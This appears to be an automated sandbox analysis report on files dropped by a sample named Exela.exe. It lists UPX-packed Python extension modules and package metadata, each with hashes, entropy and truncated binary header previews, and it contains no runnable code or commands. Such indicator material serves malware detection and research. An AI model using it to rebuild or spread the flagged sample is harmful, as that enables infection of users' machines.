SHA-512:	AF75452279C308C61C3E222A031A8201E47E8FE44C4E92CB7DAB03D56C7E7E3E2A2C589F650C50E0B29E2DF175D6F2FF50C8E5E589D17A124BF0A2E0D7886C26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........TF.q.F.q.F.q.O...D.q...p.D.q...t.J.q...u.N.q...r.E.q...p.E.q...p.D.q.F.p...q...\|.G.q...q.G.q....G.q...s.G.q.RichF.q.................PE..d...$..c.........." ...".`.......... #.......................................P............`..........................................J..P....I..P....@......................DK..$................................... /..@...........................................UPX0....................................UPX1.....`.......R..................@....rsrc........@.......V..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\_bz2.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	47992
Entropy (8bit):	7.809914406923306
Encrypted:	false
SSDEEP:	768:NiQxyc/3D2HGItfsKbsonbgiHUoYbcp87I7tVbeiYiSyv5PxWEDX:N5xdEsKbtnbgqUoYb7I7tVbh7SyxPx9
MD5:	6250A28B9D0BFEFC1254BD78ECE7AE9F
SHA1:	4B07C8E18D23C8AE9D92D7B8D39AE20BC447AECD
SHA-256:	7D43F7105AA4F856239235C67F61044493EE6F95DDF04533189BF5EA98073F0B
SHA-512:	6D0AA5C3F8F5B268B94341DFDD5AFBE48F91F9AAC143BF59F7F5E8BA6F54205B85EC527C53498ED8860FDFF6A8D08E48EC4E1652EEAB2D3C89AAAF3A14FCAAA7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................a.........................................t.........................................Rich....................PE..d...2..c.........." ..."............pd....................................................`.............................................H.................... .. ..................................................pp..@...........................................UPX0....................................UPX1................................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\_cffi_backend.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	72704
Entropy (8bit):	7.915281953043909
Encrypted:	false
SSDEEP:	1536:g+638lwdrNzfq3MgGu9KgGWzt1iaqP+E4WnpH118g:gz8u/zf4MgGuZGWzt1ia7E4WpH11
MD5:	7727212E7BDBF63B1A39FB7FAAD24265
SHA1:	A8FDEC19D6690081B2BF55247E8E17657A68AC97
SHA-256:	B0116303E1E903D6EB02A69D05879F38AF1640813F4B110CB733FFFF6E4E985C
SHA-512:	2B1A27642118DD228791D0D8BA307AA39AB2D9C7D3799CFF9F3C0744FE270EEAEFE5545A4FDA6E74E86FEE747E45BF5F6C9AC799950C2B483A16EB3CE85D816A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........#...p...p...p...p...p.y.q...p.y{p...p.y.q...p.y.q...p.y.q...p.q...pi..q...p...pX..p.x.q...p...p...p.x.q...p.xyp...p.x.q...pRich...p................PE..d......f.........." ...). .......0..@C...@...................................p............`..........................................c..l....`.......`......................hd..$...................................@O..@...........................................UPX0.....0..............................UPX1..... ...@......................@....rsrc........`......................@......................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\_ctypes.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	58232
Entropy (8bit):	7.819692209624967
Encrypted:	false
SSDEEP:	1536:3UP3/jolpinLX2rRaWMzhBuW9I7QP7h7SykPxiM:A3/jolwXuRaW6wUI7QP7h2xB
MD5:	4B90108FABDD64577A84313C765A2946
SHA1:	245F4628683A3E18BB6F0D1C88AA26FB959ED258
SHA-256:	E1B634628839A45AB08913463E07B6B6B7FD502396D768F43B21DA2875B506A1
SHA-512:	91FA069D7CF61C57FAAD6355F6FD46D702576C4342460DADCEDFDCBC07CD9D84486734F0561FA5E1E01668B384C3C07DD779B332F77D0BB6FBDBB8C0CB5091BC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......NC..."..."..."...Z..."..E^..."..E^..."..E^..."..E^..."...^..."...P..."...P..."...K..."..."..."...^..."...^..."...^x.."...^..."..Rich."..........................PE..d.../..c.........." ...".........p..P........................................@............`.........................................H<.......9.......0..........,............<......................................`%..@...........................................UPX0.....p..............................UPX1................................@....rsrc........0......................@..............................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\_decimal.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	106368
Entropy (8bit):	7.93479712134
Encrypted:	false
SSDEEP:	3072:GgCMV2Mz94bMgxECS8kePpTn8jI75qNp6mx:G1MV2Mz94og2tJePpwpp
MD5:	20985DC78DBD1992382354AF5CA28988
SHA1:	385A3E7A7654E5E4C686399F3A72B235E941E311
SHA-256:	F3620CAC68595B8A8495AB044F19A1C89012F50D2FE571B7A1721485F7FF2E43
SHA-512:	61B8ECD2D12B3F785773B98D4BF4AF0EB6EB2C61FBEA6EFFB77EC24B2127E888D0EA5FDD8CC298484E0F770D70C87907048FC382FAACE8E0CA6B49AB106C89F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........\|RTy..Ty..Ty..]...Zy......Vy......Yy......\y......Py......Wy......Vy..Ty...y......Uy......[y......Uy......Uy......Uy..RichTy..........PE..d...)..c.........." ...".p................................................... ............`.............................................P........................'......................................................@...........................................UPX0....................................UPX1.....p.......d..................@....rsrc................h..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\_hashlib.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34176
Entropy (8bit):	7.670946753848895
Encrypted:	false
SSDEEP:	768:aW3dM1TMhvg8KNML5TOuzSsI/LpazI75ImyYiSyvfPxWEabVV/:aQdM1TMho8iMLPmv/AzI75Imy7SyXPxA
MD5:	3B5530F497FF7C127383D0029E680C35
SHA1:	FB5DC554BB9FF49622184CC16883A7567115C7CA
SHA-256:	5971FCC9758B7F4A12CDE2190A323F35A34AB7F97BD8C39CC8F3335223102573
SHA-512:	12CED7DDB0352F8ECA3C3CB7C7C2FAAF08E617B2DD278D20008051FB6B564B17C3E9ECFA8B0FFE7674154AD533DFBBF1E802ACCD5E1AEF12ECE01368DA06E85A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_.A.>...>...>...F2..>...B...>...B...>...B...>...B...>..iB...>...L...>...D...>...>..Q>..iB...>..iB...>..iB^..>..iB...>..Rich.>..........................PE..d.../..c.........." ...".P..........p........................................@............`..........................................;..P....9.......0.......................;......................................p*..@...........................................UPX0....................................UPX1.....P.......L..................@....rsrc........0.......P..............@......................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\_lzma.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	86392
Entropy (8bit):	7.91766123352546
Encrypted:	false
SSDEEP:	1536:EnKvmqFMCNL6eKmtYs76LBlBqLBxcZiV6IHxdc/k4Nc+VI7e1gf7SyJPxs:kqdLCOz76LBl4VxYcdc/11I7e1gfvxs
MD5:	8EDBEECCB6F3DBB09389D99D45DB5542
SHA1:	F7E7AF2851A5BF22DE79A24FE594B5C0435FCA8A
SHA-256:	90701973BE6B23703E495F6A145BAE251A7BB066D3C5F398EC42694FD06A069F
SHA-512:	2A8BF60F2280B9A947578BD7FD49C3ACE8E010A3D4B38E370EDB511EA0E125DF688BBAC369D6A3CEC9D285A1FA2AD2DAC18A0EF30FDA46E49A9440418581E501
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b.J[&.$.&.$.&.$./..".$.i.%.$.$.i.!.*.$.i. ...$.i.'.%.$...%.%.$...%.$.$.&.%.C.$...)...$...$.'.$.....'.$...&.'.$.Rich&.$.........PE..d...B..c.........." ...". ................................................................`.........................................4...L....................P..........................................................@...........................................UPX0....................................UPX1..... ..........................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\_multiprocessing.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25984
Entropy (8bit):	7.488187631590162
Encrypted:	false
SSDEEP:	768:GQy6HNbpr+8C6LSf93zpALbI7Rt2fYiSyvPPxWEa5Z:L9+8FKReLbI7Rt2f7SynPxeZ
MD5:	4FBC5FD5DA9DA74C04FE0374387B34D3
SHA1:	1E9C98DB0486F98FB7D8EB9FA57A949494B649B5
SHA-256:	B2347790C87052623710382D3178887F68A79618D6DA5174909F46B169236950
SHA-512:	CE87D4512C2AB7C1AD7986E8E1FE790615AE39C7667D234DFC09026EE7E1518B3BFBF7974612811DB0C3E5654B35B54E118E23E624BEBE027A51D2C8F2A4652A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........$Z*.E4y.E4y.E4y.=.y.E4y.95x.E4y.91x.E4y.90x.E4y.97x.E4yS95x.E4y.E5y.E4y?75x.E4yS99x.E4yS94x.E4yS9.y.E4yS96x.E4yRich.E4y........................PE..d...+..c.........." ...".0..........p.....................................................`.........................................4...`....................`..........................................................@...........................................UPX0....................................UPX1.....0.......,..................@....rsrc................0..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\_overlapped.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31104
Entropy (8bit):	7.628398010929569
Encrypted:	false
SSDEEP:	768:nk8GDYwKGtevarixdHpgTzI7st2xYiSyvxPxWEa:8ETibTzI7st2x7SypPx
MD5:	5C1441F6EE11632183A83DAC2D22853B
SHA1:	EEF732FF4BAB9EA5C8FFFB6A93C47CFC8E64DAE2
SHA-256:	104E0B0E0E9FEC9EB6438683296FEEBA298D5F23B02D2080577FC87FFEC67ACF
SHA-512:	E41D3433754A8A3D2C572BB7F3902C0D37CBA2E6F3307F0E6DFED316A22B11EF7E52A73C30085FA89FCFF603E4B76858ABE761217C320E38FA2EB95D1777B595
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........({..F(..F(..F(...(..F(..G)..F(..C)..F(..B)..F(..E)..F(..G)..F(..G(..F(c.G)..F(c.B)..F(..K)..F(..F)..F(...(..F(..D)..F(Rich..F(................PE..d...-..c.........." ...".@................................................................`.........................................x...X...............................................................................@...........................................UPX0....................................UPX1.....@.......@..................@....rsrc................D..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\_queue.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24960
Entropy (8bit):	7.447047314489284
Encrypted:	false
SSDEEP:	768:pSxw19p9opxfI77U2bYiSyvlfUvPxWEl:pj1HgfI77U2b7SyOvPx
MD5:	5C4C43763FB1A796134AA5734905C891
SHA1:	44A5E1AE4806406A239129D77888BD87D291A410
SHA-256:	4EDC80E7D331BA0E9338431D407157181190F995821D1CD24F7A7AA2422ECE0C
SHA-512:	07BEC7E4A85E76CFAB2C21776B50EE2BD0454835FCB43B573DEE757ECA24CBEB4530784BAE07DE3BE90820CEE6D72023D9DED395D4F1A4931971DB247DC1A71E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._ZF.1.F.1.F.1.O..D.1...0.D.1...4.J.1...5.N.1...2.E.1...0.E.1...0.D.1.F.0...1...<.G.1...1.G.1.....G.1...3.G.1.RichF.1.........PE..d...&..c.........." ...".0..........`.....................................................`.............................................L.......P............`..............<.......................................`...@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\_socket.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	42880
Entropy (8bit):	7.696654190779553
Encrypted:	false
SSDEEP:	768:EL7Syo5lzOt+ufVwPVXahccu0D+gFiPnmJqpE2SI7QwbmGYiSyvb9ZPxWEl:MkbzcKNGu0yXwN2SI7QwbmG7Syj/Px
MD5:	53E72716073038C1DD1DB65BFDB1254C
SHA1:	7BF220A02A3B51AA51300B3A9EA7FA48358CA161
SHA-256:	E1FB6927BA2ED014D0AC750AF0EE0BB3D49487DD6920848937259606E1E92E1D
SHA-512:	C10D91B6EC82402B0EB05DC31A4703C999F4988E88204B695E009FAE5FDCC61E8A6DC4D2879ECF2BABC030224048AFD2F256B9E7F5C5B6F28762047813BE0941
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........Z..{4..{4..{4......{4...5..{4...1..{4...0..{4...7..{4.U.5..{4..{5.\{4.9.5..{4.U.9..{4.U.4..{4.U....{4.U.6..{4.Rich.{4.........................PE..d...0..c.........." ...".p..........0m....................................................`.............................................P.......h............ ..l...........X.......................................@y..@...........................................UPX0....................................UPX1.....p.......l..................@....rsrc................p..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\_sqlite3.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	50048
Entropy (8bit):	7.761194500415829
Encrypted:	false
SSDEEP:	1536:E8Mdv1OCWk0z+q3QCjbouWxI75Qr27SyDPx:XQO00zrrvbQI75Qr2Nx
MD5:	E7D68DF8F65FBB0298A45519E2336F32
SHA1:	AD3C84AD7EB75A61F287B1BA9FD2801567E39B6D
SHA-256:	2473EBAF52723C3751A12117EBBE974E50ECDAEB40B282A12BA4E6AA98492E79
SHA-512:	626204685E9B95310ABA51BE4A8ABAF3B6E152FA35902F64F837303FC4011A4518EE393047CEB45BF377E9D965D169C92BFBB6673475150E159C59B7857BA03E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......8..\|...\|...\|...u...z...3...~...3.~.}...3...q...3...t...3..........y.......~...\|..........u......}....\|.}......}...Rich\|...........PE..d...[..c.........." ...".........@..0....P................................................`.............................................P.......4............`..............(.......................................0...@...........................................UPX0.....@..............................UPX1.........P......................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\_ssl.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	62328
Entropy (8bit):	7.84875298158187
Encrypted:	false
SSDEEP:	1536:wedJItp3BP6kGsJMthwMtbyG68yTyI7t7QO67SycPxu:98tVBPpGsUt+uyuI7t7Q/+xu
MD5:	7E9D95AC47A2284706318656B4F711D3
SHA1:	F085104709201C6E64635AEACF1DA51599054E55
SHA-256:	38DCB3D0F217785B39C03D4C949DD1E04B70E9EADE8A4AD83F026390684059C9
SHA-512:	294A5148D8FCDDABD177B776617DA7720D9876AC2A1CDF8DD7B9489F0F719600A634346CDFA07DA66588DE885B0A64D8CCCDE4D47EDBF6305BD2AF44EE209118
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,z..h.gLh.gLh.gLac.Ln.gL'gfMj.gL'gbMe.gL'gcM`.gL'gdMk.gL.gfMj.gL.afMl.gLh.fL..gL.ifMo.gL.gjMj.gL.ggMi.gL.g.Li.gL.geMi.gLRichh.gL................PE..d...3..c.........." ..."............ .....................................................`.........................................p...d....................P......................................................0...@...........................................UPX0....................................UPX1................................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\_uuid.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22400
Entropy (8bit):	7.353729594367488
Encrypted:	false
SSDEEP:	384:2bjUslT24oGuNZa7gJXTwI7ewWY8IYiSy1pCQDMaPxh8E9VF0Nyvzo:Mj3lcNpDwI7ewW4YiSyvfPxWEx
MD5:	59CFD9669367517B384922B2485CB6A7
SHA1:	1BD44298543204D61D4EFD2CD3980AD01071360D
SHA-256:	E02BFAD84786560B624EFD56DF55C88A4FFBD6C7CFC728BF68B6401AA10F849F
SHA-512:	D0DD041D8493C7C19DB01EA8477981148726796CE2AB58D3193064123319BD5B68FD57871D1DB0AAA08D07F78AB96A3D343051C33FFD406E96B921248EA32665
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;$p^ZJ#^ZJ#^ZJ#W".#\ZJ#.&K"\ZJ#.&O"RZJ#.&N"VZJ#.&I"]ZJ#.&K"\ZJ#.(K"[ZJ#^ZK#tZJ#.&B"_ZJ#.&J"_ZJ#.&.#_ZJ#.&H"_ZJ#Rich^ZJ#................PE..d...+..c.........." ...". .......`.......p................................................`.........................................8...L....................@..........................................................@...........................................UPX0.....`..............................UPX1..... ...p......................@....rsrc................"..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_http_parser.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.938137486494663
Encrypted:	false
SSDEEP:	1536:hnpRMSuB4GHqEE5Pr5YvebAN4QYt5dFcOGuj42OfIPZXSWItd2albgEM9xI:Vf04GXOzCvebAN4dia42OfIPJSzt
MD5:	23DF1D1A4BFD29C6C0F89D1A42BBECBB
SHA1:	B8E5686724223BD5E8ED0B7A3517CDC3005BE66A
SHA-256:	10F7967A3C574CAEA10FD5A94C9B6EBA405ED6AFEC402969424C143566593ADC
SHA-512:	75A455A9EB96BD52F0D795188A1120EE14D36944C331D97B4C3DA837238BD2928CFF29DF27C0F17093022D976C0C2E54189BABD94C6DC927AC325216C340481A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d... \|.Q \|.Q \|.Q).iQ&\|.Q1..P"\|.QR..P"\|.Q...P#\|.Q \|.Q.\|.Q1..P$\|.Q1..P(\|.Q1..P,\|.Q...P%\|.Q...P!\|.Q...Q!\|.Q...P!\|.QRich \|.Q........................PE..d....'cg.........." ...*.@.......p.. .....................................................`..................................................................@..............\....................................... ...@...........................................UPX0.....p..............................UPX1.....@.......8..................@....rsrc................<..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_http_writer.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25088
Entropy (8bit):	7.665312753734398
Encrypted:	false
SSDEEP:	384:VCaWHS6ittmPMLRUZ+wXAMqCwTgs4A8mvcsxjntRNQi0VZa7gJXg4G:saWHSVtdtaQMvwTx4G7NYpQ
MD5:	B0E8CBF64F3728EEE12E6E0756E67C95
SHA1:	71BC5AE8847DAC5D0737E6321833A37DA655D538
SHA-256:	7A931C3108173C4D8CC4ED7304414FCD3BA67CEFF81F84506DCDDA8979F5F33B
SHA-512:	622126F5A1FC5E275680BB64648A8CAC6A5EAF3E7D6A262F0002AFC26CEC6D9C3ADDBBA257626AC54189B7F85E5ABDFC3809954CE0437046FC64B643A4E8CB5A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b..T&f..&f..&f../.].$f..7...$f..T...$f..7...%f..7....f..7...f......%f..&f...f......'f......'f....1.'f......'f..Rich&f..................PE..d....'cg.........." ....`...........[....................................................`.........................................@r..h....p..P....p.......................r.......................................g..@...........................................UPX0....................................UPX1.....`.......Z..................@....rsrc........p.......^..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket\mask.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	19968
Entropy (8bit):	7.541773953506371
Encrypted:	false
SSDEEP:	384:9POtpIsoNR0zkLHI7KOqPwY8jT8Xr8MhHHxZa7gJXkoNT:9PO4hR0oLLwY7xp0o
MD5:	2B5D378AFB9AEB031ED1A84F5C216291
SHA1:	7955E2EC7E7FFA13E58AF098D37C480C8F23CCAD
SHA-256:	1D44B957609599FDF3115BB47BD668F560B63D4D84C74C1F7BF1F3DC05246D6A
SHA-512:	9102A95C57024AFDDB67B6500CE1606A2BF5923AA66F67E21FEC23C1EFB1C9A0CD77C55417B25C7CDBCDA119CD817EA4219A1FE321A2F9300F8BFFA99D8B0A31
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......f..T"f.."f.."f..+.E. f..3... f..P... f..3...!f..3...f..3....f......!f.."f...f......#f......#f....).#f......#f..Rich"f..........................PE..d....'cg.........." ....P................................................................`.........................................@...X.......P.......................................................................@...........................................UPX0....................................UPX1.....P.......F..................@....rsrc................J..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\aiohttp\_websocket\reader_c.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	62976
Entropy (8bit):	7.91306866032889
Encrypted:	false
SSDEEP:	768:ftmXfEKkKf3+XUbQdfdIvuVbSkTr9j4sCx74CKN3U/8o3rq3RSXqwnqpLL8gZET7:MXfEzPSGSkTrtGx7BWOv7q3RAF3gZEf
MD5:	2CB730463EE9A2360B568BB54FF283B1
SHA1:	E63B5D62D281F153AB2C3487F4423BEC259E1BD5
SHA-256:	17B026C18DC25B2F8842DA41484E39C8E92BD3FF9FE0F6D03F9FDC389991E7AE
SHA-512:	A7891BA2619CC6910C47FFAC153BA31A3B17F67F08654F7A1FED380B1F4951673573F5E5A59E45E4EDC432B135DBB57BB82C3B4CBDFC265D0DAA6FCA587AB732
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......RX.E.9...9...9...AG..9.......9..d....9.......9.......9.......9...L...9...9...9.......9.......9....+..9.......9..Rich.9..........PE..d....'cg.........." ...*............`.... ................................... ............`.............................................`...........................................................................`...@...........................................UPX0....................................UPX1......... ......................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\attrs-24.3.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI70882\attrs-24.3.0.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	Unicode text, UTF-8 text, with very long lines (411)
Category:	dropped
Size (bytes):	11654
Entropy (8bit):	5.225237436297847
Encrypted:	false
SSDEEP:	192:WusRfi65kQk+kOkKkegJoiWiG/JDPVA1yzBdvrrOmoKT30oEJdQ/0G6lWg+JdQVg:WusQpLb3/oiWZ/JDP/zBdTrHoKD9gA6i
MD5:	0E682E7854FE836CAD441326AB36D36D
SHA1:	3EFAD7961F8F2DFB0A22A1EEABD3A92B9DA0AB23
SHA-256:	7FD8611027805324BB89EC073D1B8C2C3CB5B6927ABF2CBC47F4CA5270A6880F
SHA-512:	54FD3B0C98DCE7C11691D08CA22C9C8A74CD838D03723DDA3FBAC326EFC2550EDB892F9D45AA3956C9C5C35B8C20FE096F6A002DEE07150B437A1E7E76AC175A
Malicious:	false
Preview:	Metadata-Version: 2.4.Name: attrs.Version: 24.3.0.Summary: Classes Without Boilerplate.Project-URL: Documentation, https://www.attrs.org/.Project-URL: Changelog, https://www.attrs.org/en/stable/changelog.html.Project-URL: GitHub, https://github.com/python-attrs/attrs.Project-URL: Funding, https://github.com/sponsors/hynek.Project-URL: Tidelift, https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=pypi.Author-email: Hynek Schlawack <hs@ox.cx>.License-Expression: MIT.License-File: LICENSE.Keywords: attribute,boilerplate,class.Classifier: Development Status :: 5 - Production/Stable.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Classifier: Programming Language :: Python :: 3.13.Classifier: Programming Language :: Python :: Implementation :: CPython.Classifie

C:\Users\user\AppData\Local\Temp\_MEI70882\attrs-24.3.0.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	3556
Entropy (8bit):	5.799825470471552
Encrypted:	false
SSDEEP:	96:QtuulxJPJooDwKVE50dwB18XbXm9qG3R5YC3XFfkGD+qLtxO:+uIld418rXGPRWGXkiO
MD5:	72C9F466183F7EAE813F25ED47198941
SHA1:	7498FAE0D90F7F64D6C954849225E82C8F1BAC92
SHA-256:	A237DE627EE31B429FED81BDFF4FA5B5B22BC979A2580E1205ACAEDC78761143
SHA-512:	6ED2A1293FA6E27CA3BDAA95AF38E3B2299D1D77B7E0FB2D67552CD8F3ACAEE5BE94D4F3F562E6BC42E6F6C7FC9D302C7BD5B14A1243EF86979E077242173C35
Malicious:	false
